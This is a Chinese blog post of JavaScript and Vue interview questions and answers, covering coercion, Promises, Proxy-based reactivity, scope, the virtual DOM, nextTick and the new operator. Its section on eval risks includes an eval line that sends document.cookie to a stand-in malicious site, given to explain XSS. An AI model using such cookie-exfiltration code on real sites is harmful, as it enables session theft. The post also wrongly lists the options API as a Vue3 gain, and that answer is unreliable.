【前端】javascript和Vue面试八股

article/2025/7/28 19:07:05

面试暂时没有遇到过考这么深的,一般还是问一些生命周期和性能相关。

Q:什么情况下“ a == 1 && a == 2 && a == 3 ”同时成立
A:对象的valueOf与toString方法:当一个对象与一个原始值(如数字)进行比较时,js会尝试将对象转换为原始值。这个过程通常涉及调用对象的valueOf与toString方法,具体来说:

  1. 如果对象有valueOf方法,且返回一个原始值,则使用该值
  2. 如果没有valueOf或valueOf不返回原始值,则尝试用toString方法
  3. 如果toString也不返回原始值,则抛出一个错误

对于1我们给出代码:

let a = {current: 1,valueOf() {return this.current++;}};if (a == 1 && a == 2 && a == 3) {console.log("Condition is true!");}

对于2我们给出代码:

let a = [1, 2, 3]; // 默认情况下都会把数组项,转换为字符串进行比较
a.join = a.shift; // 将a.join覆盖为a.shift,shift会移除并返回数组第一个元素if (a == 1 && a == 2 && a == 3) {console.log("Condition is true!");
}

Q:原始值,基本类型,引用类型
A:

  • 原始值【具体的值42】:直接存储在栈内存中不可变的数据,按值传递(赋值或传参时复制值本身),
    原始值本身不能被修改,本身没有方法,js会自动包装为对象auto-boxing
    包括:number string boolean null undefined symbol bigint

  • 基本类型【分类名称number】:与原始值对应的数据类型名称,与原始值一一对应
    基础类型存放于栈,变量记录原始值
    包括:number string boolean null undefined symbol bigint

  • 引用类型存放于堆,变量记录地址
    引用类型:存储在堆内存中可变的对象,按引用传递(赋值或传参时复制内存地址),
    本身能被修改,本身有方法,比较的是引用
    包括:Object Array Function Date RegExp Map/Set Promise 用户自定义对象通过构造函数或类创建的对象

Q:Promise是什么
A:为异步编程而生,提供了一种标准化方式去调度微任务(通过resolve/reject触发.then/.catch),普通函数默认不涉及微任务,除非它显式return一个Promise。

普通函数是同步的,没有异步操作,不需要then。Promise诞生不仅仅是为了微任务,而是为了解决根本问题:异步代码的可读性可维护性和错误处理。只有Promise才有then,因为它是专门为异步操作设计的容器。

终极目标:管理异步操作,解决回调地狱

doTask1().then(result1 => doTask2(result1)).then(result2 => doTask3(result2)).then(result3 => console.log("最终结果:", result3));

进一步优化:async/await

async function main() {const result1 = await doTask1();const result2 = await doTask2(result1);const result3 = await doTask3(result2);console.log("最终结果:", result3);
}

Q:js监听对象属性的改变与Vue2/3的关系
A:
响应式编程的核心思想是:当数据变化时,自动更新依赖该数据的部分。
在Vue中,这意味着:当数据变化时,自动重新渲染依赖该数据的组件,自动执行依赖该数据的计算属性和侦听器。

  1. js本身就能提供几种监听/拦截对象属性访问的机制,为Vue响应式带来灵感:
  • Object.defineProperty:ES5。这是js内置的对象属性定义方法,Vue2正是基于此实现响应式系统,可以看到,通过getter/setter拦截属性访问,可以实现属性的响应式行为,是语言原生支持的特性,不需要额外库。缺点是只能监听已有属性,无法拦截新增/删除属性。
  • Object.observe:已废弃。Js早期的一个响应式提案,被TC39废弃了,现代js中也不存在这个API,它的废弃反映了前端生态和语言设计的重要转向。主要功能是监听对象变化,但是设计有局限性:只能监听已有属性,无法拦截新增/删除属性,无法自定义拦截逻辑,只能被动接收变更通知。
    在Object.observe提案出现时(2015),Vue已经基于Object.defineProperty实现了响应式系统,后来Proxy出现,提供了更优解决方案,所以Object.observe废弃了。
  • Proxy:ES6。这是更现代的元编程特性,vue3采用了这种,可以拦截整个对象的各种操作(包括新增/删除属性),可以自定义get、set、delete,提供了更全面的拦截能力,更符合“代理”这一设计模式,适用于更复杂的响应式场景。是显式的代理模式,行为可控。
    在这里插入图片描述
  1. Vue2基于Object.defineProperty的代码
// js监听对象属性的改变
// Object.defineProperty
const person = {firstName: 'Alice',lastName: 'Wu',
}
//  对象person 属性 'firstName' 劫持
Object.defineProperty(person, 'firstName', {get() {return this._firstName; // 使用别名},set(value) {this._firstName = value;}
});person.firstName = 'Mary';
  1. Vue3基于Proxy的代码
// js监听对象属性的改变
// new Proxy
const person = {firstName: 'Alice',lastName: 'Wu',
}const handler = {get(target, property) { // 不需要别名console.log('访问', target[property])// return target[property]; 写法一return Reflect.get(target, property); // 写法二},// 对象   属性   劫持set(target, property, value) {console.log('设置', target[property], '为', value)// target[property] = value; 写法一Reflect.set(target, property, value); // 写法二return true;}
}
const proxyPerson = new Proxy(person, handler);
console.log('劫持', proxyPerson.firstName)
proxyPerson.firstName = 'Mary';

无论哪种,Vue的响应式都遵循了发布订阅模式。

我们注意到Vue3没有用别名,直接写target[property] = value;,换做Vue2写直接赋值this.firstName = value;,会导致无限递归。

这是因为Proxy的拦截机制与defineProperty不同:

  • defineProperty修改的是原对象的属性描述符,直接操作target[property]会再次触发自己的get/set。
  • Proxy代理对象,拦截对person的操作,只是把操作映射过去,所以不会触发自己的。

Q:箭头函数
A:箭头函数不会创建自己的this上下文,而是继承外层函数的this。
词法作用域this:this的值在箭头函数定义的时候就确定,而不是在调用的时候确定。
无法通过call apply bind改变,用这些修改箭头的this是无效的。

在某些情况下,箭头可能被误解为比较表达式,传统的this动态绑定是js最令人困惑的特性之一,箭头的设计解决了回调中this丢失的常见问题,更适合纯函数场景,不依赖调用上下文,减少了因为this绑定而带来的副作用,符合词法作用域的直觉。

Q:Array的sort内置函数如何实现的
A:[10, 2,1,20] -> [‘10’, ‘2’ , ‘1’, ‘20’],先用toString,然后按UTF-16码点排序,类似字典序

arr.sort((a, b) => a - b); // 数字升序
arr.sort((a, b) => b - a); // 数字降序

Q:作用域
A:
作用域链:js中变量查找的机制,由当前执行环境与所有父级执行环境的变量对象组成。

  • 块级作用域:由{ }代码块创建的独立作用域,es6引入的let和const支持块级。
  • 函数作用域:由函数创建的作用域,函数内部声明的变量在外部不可访问。
  • 词法作用域:也叫静态作用域,作用域在代码编写时,就已经确定了,不是运行的时候确定的。
  • 全局作用域:最外层的,不在任何函数或代码块里面的变量和函数,是作用域链的终点。

查找过程:当前作用域比如块级作用域->父级比如函数作用域->全局作用域

作用域延长:通过特定方式【主要是闭包,with已废弃,eval不推荐】延长变量的生命周期,使其超出原本的作用域。

变量提升:var声明的变量和函数声明,会被提升到顶部。
暂时性死区:let和const

执行上下文:包含变量对象、作用域链、this

Q:eval攻击
A:eval会将传入的字符串作为js代码执行,这种动态执行代码能力带来了几个严重问题
① 性能问题:eval中的代码无法被js引擎优化,是解释执行,不是编译执行。作用域查找成本高,每次执行都要重新解释代码,无法缓存
② XSS攻击:如果eval的参数包含用户输入,攻击者可以注入恶意代码,利用eval执行任意代码,获取敏感信息

// 假设从URL参数获取数据
const userInput = new URLSearchParams(window.location.search).get('data');
eval(userInput); // 如果用户输入是"alert(document.cookie)",就会泄露cookie
// 重定向攻击
eval("window.location='http://malicious-site.com?cookie='+document.cookie");

③ 调试困难:eval的代码难以调试,因为错误的堆栈跟踪不清晰,代码也难以被静态分析工具检查
④ 作用域问题:eval在非严格模式下会污染当前作用域,导致意外变量泄漏

Q:Vue3比Vue2好在哪里
A:Vue3能减小打包体积把相关逻辑集中在一起;使用选项式API;打包的时候路由懒加载。

性能比较测试代码:

const largeObj = {};
for (let i = 0; i < 10000; i++) {largeObj[`key${i}`] = { nested: { value: i } };
}// Vue 2 方式
console.time('defineProperty');
Object.keys(largeObj).forEach(key => {let value = largeObj[key];Object.defineProperty(largeObj, key, {get() {console.log('get', key);return value;},set(newVal) {console.log('set', key);value = newVal;}});
});
console.timeEnd('defineProperty');
// Vue 3 方式
console.time('Proxy');
const proxy = new Proxy(largeObj, {get(target, key) {console.log('get', key);return target[key];},set(target, key, value) {console.log('set', key);target[key] = value;return true;}
});
console.timeEnd('Proxy');

Q:VNode和虚拟DOM是什么
A:同一个东西。是一个轻量级JS对象,能够实现性能优化,因为比操作真实DOM开销小得多。它只保留DOM的必要信息。一个真实DOM对象可能有上百个属性,而虚拟DOM只保留渲染所需核心属性。它支持跨平台,不直接依赖浏览器环境,可以在非浏览器中用,使渲染与平台解耦,支持SSR等非浏览器环境。

真实DOM为何成本高:每次操作都会触发浏览器repaint/reflow。

// 真实DOM
<div id="app" class="navClass"><span>Hello</span>
</div>
// 对应 虚拟DOM
{tag: 'div',                      // 标签名data: {                          // 属性/特性attrs: { id: 'app' },          // HTML 属性staticClass: 'navClass'        // class 类名},children: [                      // 子节点{tag: 'span',children: [{ text: 'Hello' }          // 文本节点]}],elm: undefined,                  // 对应的真实 DOM 节点(初始为 undefined)context: VueComponent,  上下文         // 所属的 Vue 实例key: undefined                   // 可选的 key
}

Q:tick是什么
A:在Vue响应式系统中,tick(时钟周期)是一个重要概念,指的是js事件循环中的一个完整周期。包括:
① 执行当前调用栈中所有同步代码
② 处理微任务队列
③ 处理宏任务队列
④ 必要时进行更新UI渲染

Vue利用js事件循环来实现其异步更新策略:
① 数据变化时:当你修改响应式数据时,Vue不会立即更新DOM【避免不必要的DOM操作,性能好】
② 推入队列:将需要更新的组件watcher放入队列
③ 下一个tick:在当前tick结束后,下一个tick开始前,执行这些更新

tick的执行顺序示例

console.log('同步代码 1')this.message = '新消息' // 触发响应式更新
Promise.resolve().then(() => {console.log('微任务 1')
})
this.$nextTick(() => {console.log('Vue 的 nextTick 回调')
})
setTimeout(() => {console.log('宏任务')
}, 0)
console.log('同步代码 2')同步代码 1
同步代码 2
微任务 1
Vue 的 nextTick 回调
宏任务

Q:new操作符内在逻辑
A:

  1. Brendan Eich在设计js时,为了简化面向对象编程,选择了基于原型的继承,而非类的继承。
    new操作符是仿java的语法(尽管底层机制完全不同)。
    查看伪代码进行理解,只要用new,js引擎必执行obj.__ proto__ = Constructor.prototype,这是为了绑定原型链。js从self语言继承了原型链的设计,通过对象的prototype实现属性和方法的共享。prototype正是为new提供继承的模板,是js原型链机制的基石。对象如果没有prototype属性,则无法被继承。
function Woman(name) { this.name = name; }
Woman.prototype.gender = 'female';function myNew(Constructor, ...args) {// 1.绑定原型链的标准、高效// Object.create(prototype) 会创建一个新对象并将其 [[Prototype]](即 __proto__)直接设置为 prototype// 这是最直接、最规范的方式,确保原型链与原生 new 的行为一致// -----// let obj = {};// obj.__proto__ = Constructor.prototype; // 非标准,且性能较差//  __proto__ 是历史遗留的非标准属性(尽管现代环境支持)非标准,且性能较差// -----// 构造函数或工厂函数 无法直接绑定到 Constructor.prototype,需要额外步骤// Object.create() 是 ES5 引入的标准方法,专门用于创建对象并指定原型。它不依赖任何外部状态(如全局变量或其他构造函数),完全可控。const obj = Object.create(Constructor.prototype);// 2. ----------初始化 this-------------// 将构造函数 Constructor 的 this 绑定到新对象 obj 并传入参数 args(可能是多个参数// apply 【直接调用 接受参数数组(args 是数组或类数组)】和 call【直接调用 接受参数列表(arg1, arg2, ...)】 功能几乎相同,区别仅在于参数形式// 如果用 call,需要展开参数 Constructor.call(obj, ...args); // 等效,但多一次展开操作// bind 会【返回一个新函数】,而不是【立即执行原函数】。// let boundConstructor = Constructor.bind(obj, ...args);// boundConstructor(); // 多此一举// bind 【柯里化】更适合需要延迟执行的场景(如事件回调),而 apply/call 是立即执行const result = Constructor.apply(obj, args);// 3.-------------new 的返回值由构造函数决定-------------//  Constructor有return,返回result// 没有return或return非对象比如123,则返回this即objreturn result instanceof Object ? result : obj;
}
let c = myNew(Woman, 'Carol');
console.log(c.name); // 'Carol'
console.log(c.gender); // 'female'
  1. 原型继承缺点
  • 属性共享:子类共享了父类原型的属性,一个实例改了这个引用父原型,则影响别的所有
  • 不能传递参数:无法向父构造函数传参,因为父的构造函数已经用了
  1. 原型链
    null是原型链的顶层,所有对象都继承自Object原型对象,Object原型对象的原型是null。
    实例->所有对象模板->Object原型对象模板->null
    可以这么理解:三角形积木->三角形形状的模子->模子被做出来肯定是因为有一张设计好的图纸->什么都没有

http://www.hkcw.cn/article/dJkTIYDSul.shtml

相关文章

某航后缀混淆逆向与顶像风控分析

文章目录 1. 写在前面2. 接口分析3. 加密分析4. 风控分析 【&#x1f3e0;作者主页】&#xff1a;吴秋霖 【&#x1f4bc;作者介绍】&#xff1a;擅长爬虫与JS加密逆向分析&#xff01;Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致…

【PostgreSQL 05】PostgreSQL扩展开发实战:从自定义函数到插件开发的完整指南

PostgreSQL扩展开发实战&#xff1a;从自定义函数到插件开发的完整指南 关键词&#xff1a; PostgreSQL扩展开发、自定义函数、插件开发、C语言扩展、SQL函数、存储过程、数据库扩展、PostgreSQL插件、PGXS、CREATE EXTENSION 摘要&#xff1a; 想让PostgreSQL拥有独特的超能力…

家政维修平台实战11搭建服务规格

目前首页的功能我们已经搭建好了&#xff0c;当用户点击某个服务内容的时候要跳转到详情页&#xff0c;详情页需要展示服务的各类信息&#xff0c;难点是在规格切换的时候价格也要跟上有变化。 在数据源设计部分我们还没有考虑规格的问题&#xff0c;本篇我们介绍一下服务规格…

【创新实训个人博客】实现了新的前端界面

我们的项目还需要ppt展示和文案展示 实现了新的html页面 对接口进行测试示例 启动app.py和aippt部分 使用postman发送请求测试大模型api 后端命令行返回

使用lighttpd和开发板进行交互

文章目录 &#x1f9e0; 一、Lighttpd 与开发板的交互原理1. 什么是 Lighttpd&#xff1f;2. 与开发板交互的方式&#xff1f; &#x1f9fe; 二、lighttpd.conf 配置文件讲解⚠️ 注意事项&#xff1a; &#x1f4c1; 三、目录结构说明&#x1f4a1; 四、使用 C 编写 CGI 脚本…

【无标题】安富莱V5程序移植到原子探索者F4控制板带TFT LCD显示屏

安富莱V5控制板用的控制器是STM32F407IGT&#xff0c; 原子探索者用的控制器是STM32F407ZGT6. 手里有原子探索者主控板2.8寸TFT LCD屏&#xff0c;需要把安富莱程序用于原子探索者硬件来运行和显示&#xff0c;经过一番折腾&#xff0c;成功运行。 省了安富莱的硬件&#xff0c…

【从0带做】基于Springboot3+Vue3的反炸宣传网站

大家好&#xff0c;我是武哥&#xff0c;最近给大家手撸了一个基于SpringBoot3Vue3的反炸宣传网站&#xff0c;可用于毕业设计、课程设计、练手学习&#xff0c;系统全部原创&#xff0c;如有遇到网上抄袭站长的&#xff0c;欢迎联系博主~ 资料获取方式 https://www.javaxm.c…

git 如何解决分支合并冲突(VS code可视化解决+gitLab网页解决)

1、定义&#xff1a;两个分支修改了同一文件的同一行代码&#xff0c;无法自动决定如何合并代码&#xff0c;需要人工干预的情况。&#xff08;假设A提交了文件a,此时B在未拉取代码的情况下&#xff0c;直接提交是会报错的&#xff0c;此时需要拉取之后再提交才会成功&#xff…

大规模、高规格、全品类,2025郑州台球展览会,8月启幕

-同聚中原共赢未来&#xff0c;42000㎡的大型台球盛会&#xff0c;将在8月15-17日&#xff0c;在郑州中原国际会展中心启幕&#xff0c;期待台球企业、品牌和买家客户届时参与。全称&#xff1a;壹肆柒2025中国&#xff08;郑州&#xff09;国际台球产业博览会&#xff0c;同期…

学习STC51单片机23(芯片为STC89C52RCRC)

每日一言 成功的路上从不拥挤&#xff0c;因为坚持的人不多&#xff0c;你要做那个例外。 通过单片机发指令给ESP8266进行通信 通信原理(也是接线原理) 代码如下 代码解释一下&#xff0c;因为我们的指令是字符数组&#xff08;c语言没有字符串的概念&#xff09;&#xff0c;…

Roller: 抽奖系统测试的幕后剧本-测试报告

抽奖系统 - 测试报告 项目名称&#xff1a;抽奖系统 测试人员&#xff1a;LlvZi 测试时间&#xff1a;2025年5月25 - 2025年6月1 一、项目概述 该项目是一个操作简便、安全可靠的抽奖系统 。主要业务是抽奖&#xff0c;并支持管理员管理用户、奖品和抽奖活动&#xff0c;以配…

智语心桥:当AI遇上“星星的孩子”,科技如何点亮沟通之路?

目录: 引言:当科技的温度,遇见“星星的孩子”“智语心桥”:一座为孤独症儿童搭建的AI沟通之桥核心技术探秘:AI如何赋能“读心”与“对话”?个性化魔法:AI如何实现“千人千面”的精准干预?应用场景畅想:从家庭到机构,AI的全方位支持为什么是“智语心桥”?——价值、可…

c++学习之---模版

目录 一、函数模板&#xff1a; 1、基本定义格式&#xff1a; 2、模版函数的优先匹配原则&#xff1a; 二、类模板&#xff1a; 1、基本定义格式&#xff1a; 2、类模版的优先匹配原则&#xff08;有坑哦&#xff09;&#xff1a; 3、缺省值的设置&#xff1a; 4、ty…

GESP2024年3月认证C++二级( 第三部分编程题(1)乘法问题)

参考程序&#xff1a; #include <iostream> // 引入输入输出库 using namespace std; // 使用标准命名空间&#xff0c;简化代码int main() {int n; // 存储输入的数字个数cin >> n; // 读入 nlong long product 1; // 用 long long 存…

NX811NX816美光颗粒固态NX840NX845

NX811NX816美光颗粒固态NX840NX845 美光NX系列固态硬盘颗粒深度解析&#xff1a;技术、性能与市场全景透视 一、技术架构与核心特性解析 1. NX811/NX816&#xff1a;入门级市场的平衡之选 技术定位&#xff1a;基于176层TLC&#xff08;Triple-Level Cell&#xff09;3D NAN…

6、运算放大器—共模抑制比(七)

目录 1、共模抑制比&#xff08;CMRR&#xff09;的定义 2、共模误差推导 3、电阻对共模误差的影响 4、参数特性 运算放大器&#xff08;运放&#xff09;的共模抑制比&#xff08;Common-Mode Rejection Ratio, CMRR&#xff09;是衡量其抑制共模信号能力的关键参数&…

“日本7月5日末日论”疯传 漫画预言引发社会焦虑

最近,网上关于日本“末日论”的讨论引起了广泛关注。据说2025年7月5日日本将遭遇毁灭性灾难,三分之一的国土会被海水吞没,连中国游客都忙着退酒店改行程。这一说法源自30年前的一部漫画——《我所看见的未来》,作者自称梦见了未来。漫画家龙树谅曾“预言”过2011年的东日本…

卢伟冰:竞争从来不是小米面临的挑战 更重视内部优化与用户距离

小米集团发布第一季度财报后,总裁卢伟冰与投资人进行了深入交流。面对投资人关于小米未来挑战的问题,卢伟冰提出了两点看法。他指出,随着小米业务规模和组织规模的扩大,公司需要确保不偏离其价值观,并保持与用户的紧密联系。同时,小米的管理体系也需要不断升级,以匹配业…

郑钦文将第8次对阵萨巴伦卡 再战老对手

在2025年法网女单1/8决赛中,头号种子萨巴伦卡以7-5和6-3的比分击败阿尼西莫娃,顺利晋级八强。这已经是萨巴伦卡连续第三年进入法网八强,并且她在最近参加的十个大满贯赛事中都至少闯入了八强。接下来,萨巴伦卡将与中国选手郑钦文交手。两人此前已经有过七次对决,郑钦文仅在…

DeepSeek R1 重磅升级,天工超级智能体 App 上线,Claude 解锁语音新体验!| AI Weekly 5.26-6.1

&#x1f4e2;本周AI快讯 | 1分钟速览&#x1f680; 1️⃣ &#x1f9e0; DeepSeek R1-0528 重磅升级 &#xff1a;推理能力接近 o3 和 Gemini 2.5 Pro&#xff0c;AIME 2025 数学测试准确率从 70% 飙升至 87.5%&#xff0c;幻觉率降低 45-50%。 2️⃣ &#x1f50d; 阿里通义…